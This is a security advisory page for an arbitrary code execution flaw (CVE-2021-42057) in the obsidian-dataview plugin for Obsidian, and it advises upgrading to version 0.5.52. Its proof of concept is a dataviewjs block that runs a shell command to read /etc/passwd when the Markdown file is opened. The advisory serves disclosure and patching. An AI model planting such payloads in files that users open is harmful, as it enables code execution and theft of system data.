Arbitrary Code Execution Affecting obsidian-dataview package, versions <0.5.52
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.16% (53rd
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JS-OBSIDIANDATAVIEW-1912069
- published 5 Nov 2021
- disclosed 5 Nov 2021
- credit Trenton Ivey
Introduced: 5 Nov 2021
CVE-2021-42057 Open this link in a new tabHow to fix?
Upgrade obsidian-dataview
to version 0.5.52 or higher.
Overview
obsidian-dataview is an Advanced data views for Obsidian.md.
Affected versions of this package are vulnerable to Arbitrary Code Execution. The evalInContext
function executes user input, which allows an attacker to craft malicious Markdown files that will execute arbitrary code once opened.
PoC
```dataviewjs
require("child_process").exec("cat /etc/passwd",(_0,stdout,_1) => dv.span(stdout));""
```
References
CVSS Scores
version 3.1